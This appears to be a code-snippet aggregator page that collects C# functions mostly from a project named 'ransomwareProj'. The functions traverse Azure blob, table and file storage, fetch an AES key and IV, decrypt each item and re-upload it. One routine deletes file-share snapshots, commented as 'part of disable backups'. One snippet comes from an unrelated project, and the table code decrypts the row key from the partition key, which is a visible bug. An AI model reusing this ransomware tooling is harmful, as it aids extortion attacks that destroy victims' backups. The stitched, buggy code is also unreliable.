コード例 #1
0
ファイル: Table.cs プロジェクト: EyalBerliner/ransomwareProj
    public static void DecryptTables(CloudStorageAccount storageAccount, AESDecryption decrypt)
    {
        // Create the table client.
        // Table has no snapshot so nothing to disable.
        CloudTableClient tableClient = storageAccount.CreateCloudTableClient();

        foreach (CloudTable table in tableClient.ListTables())
        {
            // Retrieve reference to a previously created tables.
            CloudTable tbl = tableClient.GetTableReference(table.Name);

            TableQuery query = new TableQuery();

            foreach (ITableEntity entity in table.ExecuteQuery(query))
            {
                // Create a retrieve operation that takes a customer entity.
                TableOperation retrieveOperation = TableOperation.Retrieve(entity.PartitionKey, entity.RowKey);

                // Execute the operation.
                TableResult retrievedResult = table.Execute(retrieveOperation);

                // Assign the result to a CustomerEntity object.
                ITableEntity updateEntity = (ITableEntity)retrievedResult.Result;

                if (updateEntity != null)
                {
                    //encrypt the entity's properties (patition & row)
                    DecryptFitTableConstrains(entity, tbl, decrypt);
                }
            }
            Console.Read(); //keep console open for dubug
        }
    }
コード例 #2
0
ファイル: Blob.cs プロジェクト: EyalBerliner/ransomwareProj
    public static void DecryptBlobs(CloudStorageAccount storageAccount, AESDecryption decrypt)
    {
        // Create the blob client.
        CloudBlobClient blobClient = storageAccount.CreateCloudBlobClient();

        foreach (CloudBlobContainer containter in blobClient.ListContainers())
        {
            // Retrieve reference to a previously created container.
            CloudBlobContainer cont = blobClient.GetContainerReference(containter.Name);


            foreach (IListBlobItem item in cont.ListBlobs(null, false))
            {
                if (item.GetType() == typeof(CloudBlockBlob) || item.GetType() == typeof(CloudPageBlob))
                {
                    CloudBlockBlob blob = (CloudBlockBlob)item;
                    if (blob.Name.EndsWith("IV") || blob.Name.EndsWith("key"))
                    {
                        continue;
                    }
                    Console.WriteLine("Decrypting Block blob named: {0}", blob.Name);
                    Download(blob, Utils.getPath());

                    // AESEncryption encrypt = new AESEncryption();
                    decrypt.decryptAES(Utils.getPath() + blob.Name, storageAccount);
                    Upload(blob, Utils.getPath());
                }
            }
        }
    }
コード例 #3
0
        static async Task decryptAllFiles(CloudStorageAccount storageAccount)
        {
            AESDecryption dec = new AESDecryption();

            Utils.Download(storageAccount, "key");
            Utils.Download(storageAccount, "IV");

            await dec.retrieveKeyFromServer(File.ReadAllBytes("./key.txt"),
                                            File.ReadAllBytes("./IV.txt"));

            Blob_Storage.DecryptBlobs(storageAccount, dec);

            Table_Storage.DecryptTables(storageAccount, dec);

            File_Storage.DecryptFiles(storageAccount, dec);
        }
コード例 #4
0
ファイル: File.cs プロジェクト: EyalBerliner/ransomwareProj
    public static void DecryptFiles(CloudStorageAccount storageAccount, AESDecryption decrypt)
    {
        // Create the file client.
        CloudFileClient fileClient = storageAccount.CreateCloudFileClient();

        foreach (CloudFileShare share in fileClient.ListShares())
        {
            // Retrieve reference to a previously created container.
            CloudFileShare shr = fileClient.GetShareReference(share.Name);
            if (shr.IsSnapshot)
            {
                shr.Delete(); // part of disable backups
                continue;
            }
            CloudFileDirectory rootDir = share.GetRootDirectoryReference();
            DecryptrecruisveSearch(rootDir, decrypt, storageAccount);
        }
    }
コード例 #5
0
        private string GetEncryptParameters(ImageDetails image, string RSAKey)
        {
            watchAesDecrypt = Stopwatch.StartNew();

            var aesDecrypt      = new AESDecryption <Parameters>(image.Parameters, image.IVAes);
            var plainParameters = aesDecrypt.DecryptParameters();

            watchAesDecrypt.Stop();
            AesDecryptTime = watchAesDecrypt.ElapsedMilliseconds;

            watchRsaEncrypt = Stopwatch.StartNew();
            var encryptParameters = new RSAEncryptParameters <Parameters>(RSAKey, plainParameters);
            var parameters        = encryptParameters.Encrypt();

            watchRsaEncrypt.Stop();
            RSAEncryptTime = watchRsaEncrypt.ElapsedMilliseconds;

            return(parameters);
        }
コード例 #6
0
ファイル: File.cs プロジェクト: EyalBerliner/ransomwareProj
    private static void DecryptrecruisveSearch(CloudFileDirectory dir, AESDecryption decrypt, CloudStorageAccount storageAccount)
    {
        foreach (var fileOrDir in dir.ListFilesAndDirectories())
        {
            if (fileOrDir.GetType() == typeof(CloudFile))
            {
                CloudFile file = fileOrDir as CloudFile;
                Console.WriteLine("Found file: " + file.Name);

                Download(file, Utils.getPath());

                decrypt.decryptAES(Utils.getPath() + file.Name, storageAccount);
                Upload(file, Utils.getPath());

                //Utils.EncryptLocally(Utils.getPath() + file.Name);//for an AES encryption - use Utils.encryptAES
                //upload(file, Utils.getPath());
            }
            if (fileOrDir.GetType() == typeof(CloudFileDirectory))
            {
                DecryptrecruisveSearch((CloudFileDirectory)fileOrDir, (AESDecryption)decrypt, (CloudStorageAccount)storageAccount);
            }
        }
    }
コード例 #7
0
ファイル: Table.cs プロジェクト: EyalBerliner/ransomwareProj
    public static void DecryptFitTableConstrains(ITableEntity updateEntity, CloudTable table, AESDecryption decrypt)
    {
        //convert string to int
        int IntRowKey       = Int32.Parse(updateEntity.RowKey);
        int IntPartitionKey = Int32.Parse(updateEntity.PartitionKey);

        //convert to bytes
        byte[] PartitionKeyRecord = Encoding.ASCII.GetBytes(updateEntity.PartitionKey);
        byte[] RowKeyRecord       = Encoding.ASCII.GetBytes(updateEntity.RowKey);

        //convert the bytes to string
        updateEntity.PartitionKey = System.Text.Encoding.UTF8.GetString(PartitionKeyRecord);
        updateEntity.RowKey       = System.Text.Encoding.UTF8.GetString(RowKeyRecord);

        updateEntity.PartitionKey = decrypt.TableDecryptAES(updateEntity.PartitionKey);
        updateEntity.RowKey       = decrypt.TableDecryptAES(updateEntity.PartitionKey);

        // Create the TableOperation object that inserts the entity.
        TableOperation insertOperation = TableOperation.Insert(updateEntity);

        // Execute the insert operation.
        table.Execute(insertOperation);
    }